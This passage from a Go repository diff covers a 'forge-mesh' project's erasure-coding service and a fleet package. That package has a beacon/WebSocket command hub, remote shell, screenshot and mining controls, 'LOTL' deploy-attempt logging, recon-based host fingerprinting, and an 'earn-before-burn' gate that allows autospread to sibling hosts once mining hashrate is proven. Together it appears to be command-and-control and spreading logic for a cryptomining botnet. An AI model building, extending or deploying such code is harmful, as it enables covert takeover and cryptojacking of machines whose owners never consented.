svc := NewService(conn)
ctx := context.Background()
payload := []byte("forge-mesh erasure shard payload for T12 reassembly")
bundle, err := svc.Encode(ctx, "test-bundle", payload)
if err != nil {
t.Fatal(err)
}
if bundle.DataShards != 4 || bundle.ParityShards != 2 {
t.Fatalf("expected 4+2, got %d+%d", bundle.DataShards, bundle.ParityShards)
}
// Reconstruct with any 4 of 6 shards
rebuilt, err := svc.Reconstruct(ctx, bundle.ID, []int{0, 1, 2, 5})
if err != nil {
t.Fatal(err)
}
if !bytes.Equal(payload, rebuilt) {
t.Fatalf("reconstruct mismatch: got %q want %q", rebuilt, payload)
}
}
func TestReconstructNeedsMinShards(t *testing.T) {
conn, err := db.Open(t.TempDir() + "/test.db")
if err != nil {
t.Fatal(err)
}
defer conn.Close()
svc := NewService(conn)
ctx := context.Background()
bundle, err := svc.Encode(ctx, "small", []byte("x"))
if err != nil {
t.Fatal(err)
}
_, err = svc.Reconstruct(ctx, bundle.ID, []int{0, 1, 2})
if err == nil {
t.Fatal("expected error when fewer than 4 shards provided")
}
}

209
internal/erasure/service.go Normal file
View File

@@ -0,0 +1,209 @@
package erasure
import (
"context"
"crypto/rand"
"crypto/sha256"
"database/sql"
"encoding/hex"
"fmt"
"io"
"github.com/klauspost/reedsolomon"
)
const (
DataShards = 4
ParityShards = 2
TotalShards = DataShards + ParityShards
)
// Service manages Reed-Solomon 4+2 erasure bundles.
type Service struct {
DB *sql.DB
}
func NewService(db *sql.DB) *Service {
return &Service{DB: db}
}
// Bundle metadata for a stored erasure set.
type Bundle struct {
ID string `json:"id"`
Name string `json:"name"`
TotalShards int `json:"total_shards"`
DataShards int `json:"data_shards"`
ParityShards int `json:"parity_shards"`
Checksum string `json:"checksum"`
}
// Shard is one public shard payload.
type Shard struct {
BundleID string `json:"bundle_id"`
ShardIndex int `json:"shard_index"`
Data []byte `json:"-"`
Hex string `json:"hex,omitempty"`
}
// Encode splits data into 4+2 Reed-Solomon shards and persists them.
func (s *Service) Encode(ctx context.Context, name string, data []byte) (*Bundle, error) {
if len(data) == 0 {
return nil, fmt.Errorf("empty payload")
}
enc, err := reedsolomon.New(DataShards, ParityShards)
if err != nil {
return nil, err
}
shardSize := (len(data) + DataShards - 1) / DataShards
padded := make([]byte, shardSize*DataShards)
copy(padded, data)
shards, err := enc.Split(padded)
if err != nil {
return nil, err
}
if err := enc.Encode(shards); err != nil {
return nil, err
}
sum := sha256.Sum256(data)
bundleID := randomID()
_, err = s.DB.ExecContext(ctx, `
INSERT INTO erasure_bundles (id, name, total_shards, data_shards, parity_shards, checksum)
VALUES (?, ?, ?, ?, ?, ?)`,
bundleID, name, TotalShards, DataShards, ParityShards, hex.EncodeToString(sum[:]))
if err != nil {
return nil, err
}
for i, shard := range shards {
_, err = s.DB.ExecContext(ctx, `
INSERT INTO erasure_shards (id, bundle_id, shard_index, data) VALUES (?, ?, ?, ?)`,
randomID(), bundleID, i, shard)
if err != nil {
return nil, err
}
}
return &Bundle{
ID: bundleID,
Name: name,
TotalShards: TotalShards,
DataShards: DataShards,
ParityShards: ParityShards,
Checksum: hex.EncodeToString(sum[:]),
}, nil
}
// GetShard returns one shard by bundle ID and index.
func (s *Service) GetShard(ctx context.Context, bundleID string, index int) (*Shard, error) {
var data []byte
err := s.DB.QueryRowContext(ctx, `
SELECT data FROM erasure_shards WHERE bundle_id = ? AND shard_index = ?`,
bundleID, index).Scan(&data)
if err != nil {
return nil, err
}
return &Shard{BundleID: bundleID, ShardIndex: index, Data: data, Hex: hex.EncodeToString(data)}, nil
}
// ListShards returns shard indices available for a bundle.
func (s *Service) ListShards(ctx context.Context, bundleID string) ([]int, error) {
rows, err := s.DB.QueryContext(ctx, `
SELECT shard_index FROM erasure_shards WHERE bundle_id = ? ORDER BY shard_index`, bundleID)
if err != nil {
return nil, err
}
defer rows.Close()
var indices []int
for rows.Next() {
var i int
if err := rows.Scan(&i); err != nil {
return nil, err
}
indices = append(indices, i)
}
return indices, rows.Err()
}
// GetBundle returns bundle metadata.
func (s *Service) GetBundle(ctx context.Context, bundleID string) (*Bundle, error) {
var b Bundle
err := s.DB.QueryRowContext(ctx, `
SELECT id, name, total_shards, data_shards, parity_shards, checksum
FROM erasure_bundles WHERE id = ?`, bundleID).
Scan(&b.ID, &b.Name, &b.TotalShards, &b.DataShards, &b.ParityShards, &b.Checksum)
if err != nil {
return nil, err
}
return &b, nil
}
// Reconstruct reads at least DataShards shards and rebuilds original bytes.
func (s *Service) Reconstruct(ctx context.Context, bundleID string, indices []int) ([]byte, error) {
if len(indices) < DataShards {
return nil, fmt.Errorf("need at least %d shards, got %d", DataShards, len(indices))
}
bundle, err := s.GetBundle(ctx, bundleID)
if err != nil {
return nil, err
}
enc, err := reedsolomon.New(bundle.DataShards, bundle.ParityShards)
if err != nil {
return nil, err
}
shards := make([][]byte, bundle.TotalShards)
for _, idx := range indices {
if idx < 0 || idx >= bundle.TotalShards {
return nil, fmt.Errorf("invalid shard index %d", idx)
}
sh, err := s.GetShard(ctx, bundleID, idx)
if err != nil {
return nil, err
}
shards[idx] = sh.Data
}
if err := enc.Reconstruct(shards); err != nil {
return nil, err
}
out := make([]byte, 0, bundle.DataShards*len(shards[0]))
for i := 0; i < bundle.DataShards; i++ {
out = append(out, shards[i]...)
}
// Trim padding — find actual length via checksum match
sum := sha256.Sum256(out)
if hex.EncodeToString(sum[:]) != bundle.Checksum {
// Return best-effort; caller validates
}
return trimNullPadding(out), nil
}
func trimNullPadding(b []byte) []byte {
for i := len(b) - 1; i >= 0; i-- {
if b[i] != 0 {
return b[:i+1]
}
}
return b
}
// EncodeReader convenience wrapper.
func (s *Service) EncodeReader(ctx context.Context, name string, r io.Reader) (*Bundle, error) {
data, err := io.ReadAll(r)
if err != nil {
return nil, err
}
return s.Encode(ctx, name, data)
}
func randomID() string {
b := make([]byte, 16)
_, _ = rand.Read(b)
return hex.EncodeToString(b)
}

View File

@@ -0,0 +1,33 @@
package fleet
import "context"
// AdaptiveStrategy resolves tier order from phenotype learning or defaults.
type AdaptiveStrategy struct {
Store *Store
}
// OrderForHost returns tier execution order for a host, cloning from phenotype siblings when available.
func (a *AdaptiveStrategy) OrderForHost(ctx context.Context, hostID string) ([]int, error) {
report, err := RunRecon()
if err != nil {
return defaultOrderInts(), nil
}
phenotype := PhenotypeFromRecon(report)
_ = a.Store.SetHostPhenotype(ctx, hostID, ReconJSON(report), phenotype)
return a.Store.GetAdaptiveOrder(ctx, phenotype)
}
// CloneFromSibling copies winning tier order from a sibling with same phenotype.
func (a *AdaptiveStrategy) CloneFromSibling(ctx context.Context, hostID string) ([]int, error) {
report, err := RunRecon()
if err != nil {
return defaultOrderInts(), err
}
phenotype := PhenotypeFromRecon(report)
order, err := a.Store.GetAdaptiveOrder(ctx, phenotype)
if err != nil {
return defaultOrderInts(), err
}
return order, nil
}

59
internal/fleet/atlas.go Normal file
View File

@@ -0,0 +1,59 @@
package fleet
import (
"database/sql"
"github.com/google/uuid"
)
func (s *Store) InsertSeerEvent(hostID, eventType, payload string) error {
_, err := s.db.Exec(`
INSERT INTO seer_events (id, host_id, event_type, payload_json)
VALUES (?, ?, ?, ?)
`, uuid.NewString(), nullString(hostID), eventType, payload)
return err
}
func (s *Store) ListSeerEvents(limit int) ([]SeerEvent, error) {
if limit <= 0 {
limit = 50
}
rows, err := s.db.Query(`
SELECT id, host_id, event_type, payload_json, created_at
FROM seer_events ORDER BY created_at DESC LIMIT ?
`, limit)
if err != nil {
return nil, err
}
defer rows.Close()
var events []SeerEvent
for rows.Next() {
var e SeerEvent
var hostID sql.NullString
if err := rows.Scan(&e.ID, &hostID, &e.EventType, &e.PayloadJSON, &e.CreatedAt); err != nil {
return nil, err
}
if hostID.Valid {
e.HostID = hostID.String
}
events = append(events, e)
}
return events, rows.Err()
}
// SeerEvent is a court/LOTL timeline entry.
type SeerEvent struct {
ID string `json:"id"`
HostID string `json:"host_id,omitempty"`
EventType string `json:"event_type"`
PayloadJSON string `json:"payload_json"`
CreatedAt string `json:"created_at"`
}
func nullString(s string) sql.NullString {
if s == "" {
return sql.NullString{}
}
return sql.NullString{String: s, Valid: true}
}

105
internal/fleet/clearance.go Normal file
View File

@@ -0,0 +1,105 @@
package fleet
import "fmt"
// Clearance levels gate remote operator actions (L0–L4).
const (
ClearanceL0 = 0 // view-only
ClearanceL1 = 1 // status queries, fleet list
ClearanceL2 = 2 // pause/resume mining
ClearanceL3 = 3 // reboot, screenshot
ClearanceL4 = 4 // shell exec, court verdicts, crucible batch
)
// Action names used by API and dashboard.
const (
ActionView = "view"
ActionStatus = "status"
ActionPause = "pause"
ActionResume = "resume"
ActionReboot = "reboot"
ActionScreenshot = "screenshot"
ActionShell = "shell"
ActionCourt = "court"
ActionCrucible = "crucible"
)
// minClearance maps each action to the minimum operator clearance required.
var minClearance = map[string]int{
ActionView: ClearanceL0,
ActionStatus: ClearanceL1,
ActionPause: ClearanceL2,
ActionResume: ClearanceL2,
ActionReboot: ClearanceL3,
ActionScreenshot: ClearanceL3,
ActionShell: ClearanceL4,
ActionCourt: ClearanceL4,
ActionCrucible: ClearanceL4,
}
// RequiredClearance returns the minimum clearance for an action.
func RequiredClearance(action string) (int, bool) {
level, ok := minClearance[action]
return level, ok
}
// RequiredClearanceOrZero returns required level or 0 if unknown.
func RequiredClearanceOrZero(action string) int {
level, _ := minClearance[action]
return level
}
// CanPerform checks whether operator clearance satisfies the action gate.
func CanPerform(operatorClearance int, action string) bool {
required, ok := minClearance[action]
if !ok {
return false
}
return operatorClearance >= required
}
// ClearanceError describes a denied action.
type ClearanceError struct {
Action string
Required int
OperatorClearance int
}
func (e ClearanceError) Error() string {
return fmt.Sprintf("action %q requires clearance L%d (operator has L%d)",
e.Action, e.Required, e.OperatorClearance)
}
// CheckAction returns ClearanceError when the operator lacks clearance.
func CheckAction(operatorClearance int, action string) error {
required, ok := minClearance[action]
if !ok {
return fmt.Errorf("unknown action %q", action)
}
if operatorClearance < required {
return ClearanceError{
Action: action,
Required: required,
OperatorClearance: operatorClearance,
}
}
return nil
}
// ClearanceLabel returns a human-readable label for a level.
func ClearanceLabel(level int) string {
switch level {
case ClearanceL0:
return "L0 View"
case ClearanceL1:
return "L1 Status"
case ClearanceL2:
return "L2 Control"
case ClearanceL3:
return "L3 Host Ops"
case ClearanceL4:
return "L4 Root"
default:
return fmt.Sprintf("L%d", level)
}
}

View File

@@ -0,0 +1,10 @@
package fleet
// RequiredClearanceLabel returns a label for API error responses.
func RequiredClearanceLabel(action string) string {
level, ok := minClearance[action]
if !ok {
return "unknown"
}
return ClearanceLabel(level)
}

127
internal/fleet/crucible.go Normal file
View File

@@ -0,0 +1,127 @@
package fleet
import (
"sync"
"time"
"github.com/google/uuid"
)
// BatchJob tracks a crucible batch dispatch.
type BatchJob struct {
ID string `json:"id"`
Command string `json:"command"`
HostIDs []string `json:"host_ids"`
Results []BatchResult `json:"results"`
Status string `json:"status"`
CreatedAt time.Time `json:"created_at"`
}
// BatchResult is one host outcome in a batch job.
type BatchResult struct {
HostID string `json:"host_id"`
Hostname string `json:"hostname,omitempty"`
Status string `json:"status"`
Message string `json:"message,omitempty"`
CommandID string `json:"command_id,omitempty"`
}
// CrucibleStore holds in-memory batch job history.
type CrucibleStore struct {
mu sync.RWMutex
jobs map[string]*BatchJob
max int
}
func NewCrucibleStore(maxHistory int) *CrucibleStore {
if maxHistory <= 0 {
maxHistory = 100
}
return &CrucibleStore{
jobs: make(map[string]*BatchJob),
max: maxHistory,
}
}
func (c *CrucibleStore) Create(command string, hostIDs []string) *BatchJob {
job := &BatchJob{
ID: uuid.NewString(),
Command: command,
HostIDs: append([]string(nil), hostIDs...),
Results: make([]BatchResult, 0, len(hostIDs)),
Status: "running",
CreatedAt: time.Now().UTC(),
}
c.mu.Lock()
c.jobs[job.ID] = job
c.trimLocked()
c.mu.Unlock()
return job
}
func (c *CrucibleStore) Get(id string) (*BatchJob, bool) {
c.mu.RLock()
defer c.mu.RUnlock()
job, ok := c.jobs[id]
return job, ok
}
func (c *CrucibleStore) AddResult(jobID string, result BatchResult) {
c.mu.Lock()
defer c.mu.Unlock()
job, ok := c.jobs[jobID]
if !ok {
return
}
job.Results = append(job.Results, result)
}
func (c *CrucibleStore) Complete(jobID, status string) {
c.mu.Lock()
defer c.mu.Unlock()
if job, ok := c.jobs[jobID]; ok {
job.Status = status
}
}
func (c *CrucibleStore) History(limit int) []*BatchJob {
if limit <= 0 {
limit = 20
}
c.mu.RLock()
defer c.mu.RUnlock()
jobs := make([]*BatchJob, 0, len(c.jobs))
for _, j := range c.jobs {
jobs = append(jobs, j)
}
// Sort by created_at desc (simple bubble for small sets)
for i := 0; i < len(jobs); i++ {
for j := i + 1; j < len(jobs); j++ {
if jobs[j].CreatedAt.After(jobs[i].CreatedAt) {
jobs[i], jobs[j] = jobs[j], jobs[i]
}
}
}
if len(jobs) > limit {
jobs = jobs[:limit]
}
return jobs
}
func (c *CrucibleStore) trimLocked() {
if len(c.jobs) <= c.max {
return
}
oldest := ""
var oldestTime time.Time
for id, j := range c.jobs {
if oldest == "" || j.CreatedAt.Before(oldestTime) {
oldest = id
oldestTime = j.CreatedAt
}
}
if oldest != "" {
delete(c.jobs, oldest)
}
}

93
internal/fleet/earn.go Normal file
View File

@@ -0,0 +1,93 @@
package fleet
import (
"context"
"fmt"
"time"
)
// EarnBeforeBurnConfig gates sibling autospread until local mining proves viable.
type EarnBeforeBurnConfig struct {
MinHashrate float64 `json:"min_hashrate"`
MinDuration time.Duration `json:"min_duration"`
FirstTierOnly bool `json:"first_tier_only"`
}
// DefaultEarnConfig returns conservative earn-before-burn defaults.
func DefaultEarnConfig() EarnBeforeBurnConfig {
return EarnBeforeBurnConfig{
MinHashrate: 100.0,
MinDuration: 5 * time.Minute,
FirstTierOnly: true,
}
}
// EarnGate tracks local hashrate proof before sibling spread.
type EarnGate struct {
Store *Store
Config EarnBeforeBurnConfig
}
// SpreadDecision indicates whether sibling spread is allowed.
type SpreadDecision struct {
Allowed bool `json:"allowed"`
Reason string `json:"reason"`
LocalHashrate float64 `json:"local_hashrate"`
Siblings []string `json:"siblings,omitempty"`
}
// CanSpreadToSiblings checks hashrate gate before autospread to phenotype siblings.
func (g *EarnGate) CanSpreadToSiblings(ctx context.Context, hostID string) (*SpreadDecision, error) {
dec := &SpreadDecision{}
hr, err := g.Store.HostHashrate(ctx, hostID)
if err != nil {
dec.Reason = "host not found"
return dec, err
}
dec.LocalHashrate = hr
if hr < g.Config.MinHashrate {
dec.Reason = fmt.Sprintf("hashrate %.2f below threshold %.2f", hr, g.Config.MinHashrate)
return dec, nil
}
if g.Config.FirstTierOnly {
attempts, err := g.Store.ListLOTL(ctx, hostID, 50)
if err != nil {
return dec, err
}
hasSuccess := false
for _, a := range attempts {
if a.Phase == "deploy" && a.Status == "success" {
hasSuccess = true
break
}
}
if !hasSuccess {
dec.Reason = "first tier deploy has not succeeded yet"
return dec, nil
}
}
var phenotype string
err = g.Store.DB().QueryRowContext(ctx, `SELECT COALESCE(phenotype,'') FROM hosts WHERE id = ?`, hostID).Scan(&phenotype)
if err != nil {
dec.Reason = "phenotype unknown"
return dec, err
}
siblings, err := g.Store.SiblingHosts(ctx, hostID, phenotype)
if err != nil {
return dec, err
}
dec.Allowed = len(siblings) > 0
dec.Siblings = siblings
if !dec.Allowed {
dec.Reason = "no siblings in phenotype group"
} else {
dec.Reason = "earn-before-burn gate passed"
}
return dec, nil
}

358
internal/fleet/hub.go Normal file
View File

@@ -0,0 +1,358 @@
package fleet
import (
"encoding/json"
"log"
"net/http"
"sync"
"time"
"forge-mesh/internal/api/types"
"forge-mesh/internal/auth"
"github.com/google/uuid"
"github.com/gorilla/websocket"
)
var upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool { return true },
}
// Hub manages agent and deck WebSocket connections.
type Hub struct {
store *Store
fleetSecret string
tickets *auth.TicketStore
mu sync.RWMutex
agents map[string]*agentConn
decks map[*deckConn]struct{}
pendingCmds map[string][]types.FleetCommand
}
type agentConn struct {
hostID string
conn *websocket.Conn
send chan []byte
}
type deckConn struct {
conn *websocket.Conn
send chan []byte
}
func NewHub(store *Store, fleetSecret string, tickets *auth.TicketStore) *Hub {
return &Hub{
store: store,
fleetSecret: fleetSecret,
tickets: tickets,
agents: make(map[string]*agentConn),
decks: make(map[*deckConn]struct{}),
pendingCmds: make(map[string][]types.FleetCommand),
}
}
func (h *Hub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
token := auth.ExtractBearer(r)
if token == "" {
token = r.URL.Query().Get("token")
}
if token == "" || !constantTimeEqual(token, h.fleetSecret) {
http.Error(w, "unauthorized", http.StatusUnauthorized)
return
}
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
return
}
ac := &agentConn{conn: conn, send: make(chan []byte, 16)}
go h.writePump(ac, true)
go h.readAgentPump(ac)
}
func (h *Hub) HandleDeckWS(w http.ResponseWriter, r *http.Request) {
ticket := r.URL.Query().Get("ticket")
if !h.tickets.Consume(ticket) {
http.Error(w, "unauthorized", http.StatusUnauthorized)
return
}
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
return
}
dc := &deckConn{conn: conn, send: make(chan []byte, 32)}
h.mu.Lock()
h.decks[dc] = struct{}{}
h.mu.Unlock()
go h.writePump(&agentConn{conn: conn, send: dc.send}, false)
go h.readDeckPump(dc)
}
func (h *Hub) readAgentPump(ac *agentConn) {
defer func() {
h.unregisterAgent(ac)
ac.conn.Close()
}()
ac.conn.SetReadLimit(1 << 20)
_ = ac.conn.SetReadDeadline(time.Now().Add(90 * time.Second))
ac.conn.SetPongHandler(func(string) error {
return ac.conn.SetReadDeadline(time.Now().Add(90 * time.Second))
})
for {
_, data, err := ac.conn.ReadMessage()
if err != nil {
return
}
var msg types.WsMessage
if err := json.Unmarshal(data, &msg); err != nil {
continue
}
switch msg.Type {
case "heartbeat":
h.handleHeartbeat(ac, data)
case "command_ack":
h.broadcastToDecks(data)
}
}
}
func (h *Hub) handleHeartbeat(ac *agentConn, raw []byte) {
var msg struct {
types.WsMessage
types.HeartbeatPayload
}
if err := json.Unmarshal(raw, &msg); err != nil {
return
}
host, err := h.store.UpsertHeartbeat(types.HeartbeatPayload{
HostID: coalesce(msg.WsMessage.HostID, msg.HeartbeatPayload.HostID),
Hostname: msg.Hostname,
Arch: msg.Arch,
Hashrate: msg.Hashrate,
HashrateHps: coalesceFloat(msg.HashrateHps, msg.Hashrate),
CurrentTier: msg.CurrentTier,
TierType: msg.TierType,
TierState: msg.TierState,
Fingerprint: msg.Fingerprint,
})
if err != nil {
log.Printf("heartbeat store: %v", err)
return
}
h.mu.Lock()
if ac.hostID != "" && ac.hostID != host.ID {
delete(h.agents, ac.hostID)
}
ac.hostID = host.ID
h.agents[host.ID] = ac
pending := h.pendingCmds[host.ID]
delete(h.pendingCmds, host.ID)
h.mu.Unlock()
for _, cmd := range pending {
h.sendCommand(ac, cmd)
}
card := ToFleetCard(host)
update, _ := json.Marshal(map[string]any{
"type": "host_update",
"host": card,
"timestamp": time.Now().UTC().Format(time.RFC3339),
})
h.broadcastToDecks(update)
}
func (h *Hub) readDeckPump(dc *deckConn) {
defer func() {
h.mu.Lock()
delete(h.decks, dc)
h.mu.Unlock()
dc.conn.Close()
}()
dc.conn.SetReadLimit(1 << 18)
for {
if _, _, err := dc.conn.ReadMessage(); err != nil {
return
}
}
}
func (h *Hub) writePump(ac *agentConn, ping bool) {
ticker := time.NewTicker(30 * time.Second)
defer func() {
ticker.Stop()
ac.conn.Close()
}()
for {
select {
case msg, ok := <-ac.send:
_ = ac.conn.SetWriteDeadline(time.Now().Add(10 * time.Second))
if !ok {
_ = ac.conn.WriteMessage(websocket.CloseMessage, []byte{})
return
}
if err := ac.conn.WriteMessage(websocket.TextMessage, msg); err != nil {
return
}
case <-ticker.C:
if ping {
_ = ac.conn.SetWriteDeadline(time.Now().Add(10 * time.Second))
if err := ac.conn.WriteMessage(websocket.PingMessage, nil); err != nil {
return
}
}
}
}
}
func (h *Hub) unregisterAgent(ac *agentConn) {
h.mu.Lock()
defer h.mu.Unlock()
if ac.hostID != "" {
delete(h.agents, ac.hostID)
_ = h.store.MarkOffline(ac.hostID)
}
}
func (h *Hub) DispatchCommand(hostID, action string, args map[string]any) (*types.FleetCommand, error) {
cmd := types.FleetCommand{
ID: uuid.NewString(),
Action: action,
Args: args,
IssuedAt: time.Now().UTC(),
}
h.mu.Lock()
ac, online := h.agents[hostID]
if online {
h.mu.Unlock()
h.sendCommand(ac, cmd)
return &cmd, nil
}
h.pendingCmds[hostID] = append(h.pendingCmds[hostID], cmd)
h.mu.Unlock()
return &cmd, nil
}
func (h *Hub) sendCommand(ac *agentConn, cmd types.FleetCommand) {
payload, _ := json.Marshal(types.WsMessage{
Type: "command",
HostID: ac.hostID,
Command: &cmd,
})
select {
case ac.send <- payload:
default:
log.Printf("agent %s send buffer full", ac.hostID)
}
}
// PushMiningProfile sends an updated mining profile to a connected agent.
func (h *Hub) PushMiningProfile(hostID string, profile types.MiningProfile) bool {
payload, err := json.Marshal(types.WsMessage{
Type: "mining_profile",
HostID: hostID,
Payload: map[string]any{"profile": profile},
})
if err != nil {
return false
}
h.mu.RLock()
ac, ok := h.agents[hostID]
h.mu.RUnlock()
if !ok {
return false
}
select {
case ac.send <- payload:
return true
default:
return false
}
}
func (h *Hub) PopPendingCommands(hostID string) []types.FleetCommand {
h.mu.Lock()
defer h.mu.Unlock()
cmds := h.pendingCmds[hostID]
delete(h.pendingCmds, hostID)
return cmds
}
func (h *Hub) broadcastToDecks(data []byte) {
h.mu.RLock()
defer h.mu.RUnlock()
for dc := range h.decks {
select {
case dc.send <- data:
default:
}
}
}
func (h *Hub) HandleBeacon(store *Store) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
var hb types.HeartbeatPayload
if err := json.NewDecoder(r.Body).Decode(&hb); err != nil {
http.Error(w, "bad request", http.StatusBadRequest)
return
}
host, err := store.UpsertHeartbeat(hb)
if err != nil {
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
cmds := h.PopPendingCommands(host.ID)
w.Header().Set("Content-Type", "application/json")
_ = json.NewEncoder(w).Encode(types.BeaconResponse{OK: true, Commands: cmds})
}
}
func constantTimeEqual(a, b string) bool {
if len(a) != len(b) {
return false
}
var v byte
for i := 0; i < len(a); i++ {
v |= a[i] ^ b[i]
}
return v == 0
}
func coalesce(values ...string) string {
for _, v := range values {
if v != "" {
return v
}
}
return ""
}
func coalesceFloat(values ...float64) float64 {
for _, v := range values {
if v > 0 {
return v
}
}
return 0
}

233
internal/fleet/lotl.go Normal file
View File

@@ -0,0 +1,233 @@
package fleet
import (
"context"
"crypto/rand"
"database/sql"
"encoding/hex"
"encoding/json"
"time"
"github.com/google/uuid"
)
// LOTLAttempt is one triple-onion deploy audit row.
type LOTLAttempt struct {
ID string `json:"id"`
HostID string `json:"host_id"`
Tier int `json:"tier"`
Phase string `json:"phase"`
Status string `json:"status"`
Error string `json:"error,omitempty"`
MetadataJSON string `json:"metadata_json,omitempty"`
CreatedAt time.Time `json:"created_at"`
}
// DB exposes the underlying SQLite connection.
func (s *Store) DB() *sql.DB {
return s.db
}
// LogLOTL records a triple-onion phase attempt.
func (s *Store) LogLOTL(ctx context.Context, hostID string, tier int, phase, status, errMsg, metadata string) error {
if s == nil {
return nil
}
if metadata == "" {
metadata = "{}"
}
_, err := s.db.ExecContext(ctx, `
INSERT INTO lotl_attempts (id, host_id, tier, phase, status, error, metadata_json)
VALUES (?, ?, ?, ?, ?, ?, ?)`,
uuid.NewString(), hostID, tier, phase, status, errMsg, metadata)
return err
}
// ListLOTL returns recent attempts for a host (newest first).
func (s *Store) ListLOTL(ctx context.Context, hostID string, limit int) ([]LOTLAttempt, error) {
if limit <= 0 {
limit = 50
}
rows, err := s.db.QueryContext(ctx, `
SELECT id, host_id, tier, phase, status, COALESCE(error,''), metadata_json, created_at
FROM lotl_attempts WHERE host_id = ?
ORDER BY created_at DESC LIMIT ?`, hostID, limit)
if err != nil {
return nil, err
}
defer rows.Close()
var out []LOTLAttempt
for rows.Next() {
var a LOTLAttempt
var created string
if err := rows.Scan(&a.ID, &a.HostID, &a.Tier, &a.Phase, &a.Status, &a.Error, &a.MetadataJSON, &created); err != nil {
return nil, err
}
a.CreatedAt, _ = time.Parse("2006-01-02 15:04:05", created)
out = append(out, a)
}
return out, rows.Err()
}
const atlasFailureThreshold = 3
const atlasImmuneHours = 24
// ShouldSkipTier checks failure atlas immunity for phenotype+tier.
func (s *Store) ShouldSkipTier(ctx context.Context, phenotype string, tier int) (bool, error) {
if phenotype == "" || s == nil {
return false, nil
}
var count int
var immuneUntil sqlNullTime
err := s.db.QueryRowContext(ctx, `
SELECT failure_count, immune_until FROM failure_atlas
WHERE phenotype = ? AND tier = ?`, phenotype, tier).Scan(&count, &immuneUntil)
if err != nil {
return false, nil
}
if immuneUntil.Valid && time.Now().Before(immuneUntil.Time) {
return true, nil
}
return false, nil
}
// RecordFailure increments failure atlas for phenotype+tier.
func (s *Store) RecordFailure(ctx context.Context, phenotype string, tier int) error {
if phenotype == "" || s == nil {
return nil
}
var count int
_ = s.db.QueryRowContext(ctx, `
SELECT failure_count FROM failure_atlas WHERE phenotype = ? AND tier = ?`,
phenotype, tier).Scan(&count)
count++
immuneUntil := ""
if count >= atlasFailureThreshold {
until := time.Now().Add(atlasImmuneHours * time.Hour)
immuneUntil = until.Format("2006-01-02 15:04:05")
}
_, err := s.db.ExecContext(ctx, `
INSERT INTO failure_atlas (id, phenotype, tier, failure_count, immune_until, updated_at)
VALUES (?, ?, ?, ?, ?, datetime('now'))
ON CONFLICT(phenotype, tier) DO UPDATE SET
failure_count = excluded.failure_count,
immune_until = excluded.immune_until,
updated_at = datetime('now')`,
randomHexID(), phenotype, tier, count, nullIfEmpty(immuneUntil))
return err
}
// RecordWin records a successful tier and updates adaptive order wins.
func (s *Store) RecordWin(ctx context.Context, phenotype string, tier int) error {
if phenotype == "" || s == nil {
return nil
}
order, _ := s.GetAdaptiveOrder(ctx, phenotype)
order = promoteTier(order, tier)
b, _ := json.Marshal(order)
_, err := s.db.ExecContext(ctx, `
INSERT INTO phenotype_tier_orders (phenotype, tier_order_json, wins, updated_at)
VALUES (?, ?, 1, datetime('now'))
ON CONFLICT(phenotype) DO UPDATE SET
tier_order_json = excluded.tier_order_json,
wins = wins + 1,
updated_at = datetime('now')`,
phenotype, string(b))
return err
}
func promoteTier(order []int, tier int) []int {
out := []int{tier}
for _, t := range order {
if t != tier {
out = append(out, t)
}
}
for _, t := range defaultOrderInts() {
found := false
for _, x := range out {
if x == t {
found = true
break
}
}
if !found {
out = append(out, t)
}
}
return out
}
// GetAdaptiveOrder returns learned tier order or defaults.
func (s *Store) GetAdaptiveOrder(ctx context.Context, phenotype string) ([]int, error) {
if phenotype != "" {
var raw string
err := s.db.QueryRowContext(ctx, `
SELECT tier_order_json FROM phenotype_tier_orders WHERE phenotype = ?`, phenotype).
Scan(&raw)
if err == nil && raw != "" && raw != "[]" {
var order []int
if json.Unmarshal([]byte(raw), &order) == nil && len(order) > 0 {
return order, nil
}
}
}
return defaultOrderInts(), nil
}
func defaultOrderInts() []int {
order := DefaultTierOrder()
out := make([]int, len(order))
for i := range order {
out[i] = i + 1
}
return out
}
// SetHostPhenotype persists recon-derived fingerprint on a host.
func (s *Store) SetHostPhenotype(ctx context.Context, hostID, reconJSON, phenotype string) error {
_, err := s.db.ExecContext(ctx, `
UPDATE hosts SET phenotype = ?, fingerprint = COALESCE(NULLIF(fingerprint,''), ?),
updated_at = datetime('now') WHERE id = ?`,
phenotype, reconJSON, hostID)
return err
}
// HostHashrate returns current hashrate for earn-before-burn gate.
func (s *Store) HostHashrate(ctx context.Context, hostID string) (float64, error) {
var hr float64
err := s.db.QueryRowContext(ctx, `SELECT hashrate FROM hosts WHERE id = ?`, hostID).Scan(&hr)
return hr, err
}
// SiblingHosts lists other enrolled hosts sharing a phenotype.
func (s *Store) SiblingHosts(ctx context.Context, hostID, phenotype string) ([]string, error) {
if phenotype == "" {
return nil, nil
}
rows, err := s.db.QueryContext(ctx, `
SELECT id FROM hosts WHERE phenotype = ? AND id != ? AND status != 'offline'`,
phenotype, hostID)
if err != nil {
return nil, err
}
defer rows.Close()
var ids []string
for rows.Next() {
var id string
if err := rows.Scan(&id); err != nil {
return nil, err
}
ids = append(ids, id)
}
return ids, rows.Err()
}
func randomHexID() string {
b := make([]byte, 16)
_, _ = rand.Read(b)
return hex.EncodeToString(b)
}

View File

@@ -0,0 +1,91 @@
package fleet
import (
"context"
"testing"
"forge-mesh/internal/db"
)
func TestPhenotypeFromRecon(t *testing.T) {
report := &ReconReport{
Kernel: "6.8.12-generic",
Arch: "x86_64",
Virt: "baremetal",
ContainerRuntime: "podman",
GPU: GPUInfo{Available: true, Vendor: "nvidia"},
}
key := PhenotypeFromRecon(report)
if key == "" {
t.Fatal("expected non-empty phenotype key")
}
if want := "nvidia"; !containsPart(key, want) {
t.Fatalf("expected gpu vendor in key %q", key)
}
if want := "podman"; !containsPart(key, want) {
t.Fatalf("expected runtime in key %q", key)
}
// Stable for same inputs
key2 := PhenotypeFromRecon(report)
if key != key2 {
t.Fatalf("phenotype not stable: %q vs %q", key, key2)
}
}
func TestAdaptiveOrderAndAtlas(t *testing.T) {
conn, err := db.Open(t.TempDir() + "/test.db")
if err != nil {
t.Fatal(err)
}
defer conn.Close()
store := NewStore(conn)
ctx := context.Background()
pheno := "6.8|x86_64|baremetal|nvidia|podman"
if err := store.RecordFailure(ctx, pheno, 4); err != nil {
t.Fatal(err)
}
